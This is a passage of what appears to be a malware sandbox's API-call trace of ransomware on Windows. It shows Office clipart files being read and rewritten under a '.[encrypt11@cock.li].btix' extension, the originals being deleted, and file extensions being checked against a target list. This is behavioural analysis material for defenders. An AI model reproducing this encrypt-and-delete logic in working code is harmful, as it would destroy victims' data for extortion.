liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.388] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0144.389] GetLastError () returned 0x0 [0144.389] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x35f0, lpOverlapped=0x0) returned 1 [0144.400] WriteFile (in: hFile=0x574, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x3600, lpOverlapped=0x0) returned 1 [0144.401] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.401] WriteFile (in: hFile=0x574, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.401] SetEndOfFile (hFile=0x574) returned 1 [0144.401] CloseHandle (hObject=0x574) returned 1 [0144.401] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.401] SetEndOfFile (hFile=0x390) returned 1 [0144.403] CloseHandle (hObject=0x390) returned 1 [0144.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 1 [0144.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0144.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0144.505] lstrlenW (lpString=".doc") returned 4 [0144.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.505] lstrlenW (lpString=".docx") returned 5 [0144.505] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0144.505] lstrlenW (lpString=".pdf") returned 4 [0144.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.505] lstrlenW (lpString=".xls") returned 4 [0144.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.506] lstrlenW (lpString=".xlsx") returned 5 [0144.506] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0144.506] lstrlenW (lpString=".ppt") returned 4 [0144.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0144.506] lstrlenW (lpString=".zip") returned 4 [0144.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.506] lstrlenW (lpString=".rar") returned 4 [0144.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.506] lstrlenW (lpString=".bz2") returned 4 [0144.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.506] lstrlenW (lpString=".7z") returned 3 [0144.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0144.506] lstrlenW (lpString=".dbf") returned 4 [0144.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0144.506] lstrlenW (lpString=".1cd") returned 4 [0144.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0144.506] lstrlenW (lpString=".jpg") returned 4 [0144.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0144.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0144.506] lstrlenW (lpString=".doc") returned 4 [0144.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.506] lstrlenW (lpString=".docx") returned 5 [0144.506] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0144.506] lstrlenW (lpString=".pdf") returned 4 [0144.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.506] lstrlenW (lpString=".xls") returned 4 [0144.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.506] lstrlenW (lpString=".xlsx") returned 5 [0144.506] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0144.506] lstrlenW (lpString=".ppt") returned 4 [0144.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0144.507] lstrlenW (lpString=".zip") returned 4 [0144.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.507] lstrlenW (lpString=".rar") returned 4 [0144.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.507] lstrlenW (lpString=".bz2") returned 4 [0144.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.507] lstrlenW (lpString=".7z") returned 3 [0144.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0144.507] lstrlenW (lpString=".dbf") returned 4 [0144.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0144.507] lstrlenW (lpString=".1cd") returned 4 [0144.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0144.507] lstrlenW (lpString=".jpg") returned 4 [0144.507] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.507] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0144.507] lstrlenW (lpString="J0106222.WMF") returned 12 [0144.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0144.508] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=19600) returned 1 [0144.508] CloseHandle (hObject=0x574) returned 1 [0144.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 0x220 [0144.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0144.508] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.508] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0144.509] GetLastError () returned 0x0 [0144.509] ReadFile (in: hFile=0x574, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x4c90, lpOverlapped=0x0) returned 1 [0144.510] WriteFile (in: hFile=0x560, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x4ca0, lpOverlapped=0x0) returned 1 [0144.511] ReadFile (in: hFile=0x574, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.511] WriteFile (in: hFile=0x560, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.511] SetEndOfFile (hFile=0x560) returned 1 [0144.511] CloseHandle (hObject=0x560) returned 1 [0144.512] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.512] SetEndOfFile (hFile=0x574) returned 1 [0144.514] CloseHandle (hObject=0x574) returned 1 [0144.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 1 [0144.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0144.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0144.515] lstrlenW (lpString=".doc") returned 4 [0144.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.515] lstrlenW (lpString=".docx") returned 5 [0144.515] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0144.515] lstrlenW (lpString=".pdf") returned 4 [0144.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.515] lstrlenW (lpString=".xls") returned 4 [0144.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.515] lstrlenW (lpString=".xlsx") returned 5 [0144.515] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0144.515] lstrlenW (lpString=".ppt") returned 4 [0144.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0144.515] lstrlenW (lpString=".zip") returned 4 [0144.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.515] lstrlenW (lpString=".rar") returned 4 [0144.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.515] lstrlenW (lpString=".bz2") returned 4 [0144.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.515] lstrlenW (lpString=".7z") returned 3 [0144.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0144.515] lstrlenW (lpString=".dbf") returned 4 [0144.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0144.515] lstrlenW (lpString=".1cd") returned 4 [0144.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0144.515] lstrlenW (lpString=".jpg") returned 4 [0144.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0144.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0144.515] lstrlenW (lpString=".doc") returned 4 [0144.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.516] lstrlenW (lpString=".docx") returned 5 [0144.516] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0144.516] lstrlenW (lpString=".pdf") returned 4 [0144.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.516] lstrlenW (lpString=".xls") returned 4 [0144.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.516] lstrlenW (lpString=".xlsx") returned 5 [0144.516] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0144.516] lstrlenW (lpString=".ppt") returned 4 [0144.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0144.516] lstrlenW (lpString=".zip") returned 4 [0144.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.516] lstrlenW (lpString=".rar") returned 4 [0144.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.516] lstrlenW (lpString=".bz2") returned 4 [0144.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.516] lstrlenW (lpString=".7z") returned 3 [0144.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0144.516] lstrlenW (lpString=".dbf") returned 4 [0144.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0144.516] lstrlenW (lpString=".1cd") returned 4 [0144.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0144.516] lstrlenW (lpString=".jpg") returned 4 [0144.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.516] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0144.516] lstrlenW (lpString="J0106572.WMF") returned 12 [0144.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0144.518] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=2148) returned 1 [0144.518] CloseHandle (hObject=0x574) returned 1 [0144.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 0x220 [0144.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0144.518] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.519] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0144.519] GetLastError () returned 0x0 [0144.519] ReadFile (in: hFile=0x574, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x864, lpOverlapped=0x0) returned 1 [0144.521] WriteFile (in: hFile=0x560, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x870, lpOverlapped=0x0) returned 1 [0144.522] ReadFile (in: hFile=0x574, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.522] WriteFile (in: hFile=0x560, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.522] SetEndOfFile (hFile=0x560) returned 1 [0144.523] CloseHandle (hObject=0x560) returned 1 [0144.523] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.523] SetEndOfFile (hFile=0x574) returned 1 [0144.525] CloseHandle (hObject=0x574) returned 1 [0144.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.526] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 1 [0144.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0144.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0144.526] lstrlenW (lpString=".doc") returned 4 [0144.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.526] lstrlenW (lpString=".docx") returned 5 [0144.526] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0144.526] lstrlenW (lpString=".pdf") returned 4 [0144.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.527] lstrlenW (lpString=".xls") returned 4 [0144.527] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.527] lstrlenW (lpString=".xlsx") returned 5 [0144.527] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0144.527] lstrlenW (lpString=".ppt") returned 4 [0144.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0144.527] lstrlenW (lpString=".zip") returned 4 [0144.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.527] lstrlenW (lpString=".rar") returned 4 [0144.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.527] lstrlenW (lpString=".bz2") returned 4 [0144.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.527] lstrlenW (lpString=".7z") returned 3 [0144.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0144.527] lstrlenW (lpString=".dbf") returned 4 [0144.527] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0144.527] lstrlenW (lpString=".1cd") returned 4 [0144.527] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0144.527] lstrlenW (lpString=".jpg") returned 4 [0144.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.528] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=3332) returned 1 [0144.528] CloseHandle (hObject=0x574) returned 1 [0144.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 0x220 [0144.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0144.528] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.528] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0144.529] GetLastError () returned 0x0 [0144.529] ReadFile (in: hFile=0x574, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0xd04, lpOverlapped=0x0) returned 1 [0144.530] WriteFile (in: hFile=0x560, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xd10, lpOverlapped=0x0) returned 1 [0144.531] ReadFile (in: hFile=0x574, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.531] WriteFile (in: hFile=0x560, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.531] SetEndOfFile (hFile=0x560) returned 1 [0144.531] CloseHandle (hObject=0x560) returned 1 [0144.531] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.531] SetEndOfFile (hFile=0x574) returned 1 [0144.536] CloseHandle (hObject=0x574) returned 1 [0144.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.537] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 1 [0144.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0144.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0144.537] lstrlenW (lpString=".doc") returned 4 [0144.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.538] lstrlenW (lpString=".docx") returned 5 [0144.538] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0144.538] lstrlenW (lpString=".pdf") returned 4 [0144.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.538] lstrlenW (lpString=".xls") returned 4 [0144.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.538] lstrlenW (lpString=".xlsx") returned 5 [0144.538] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 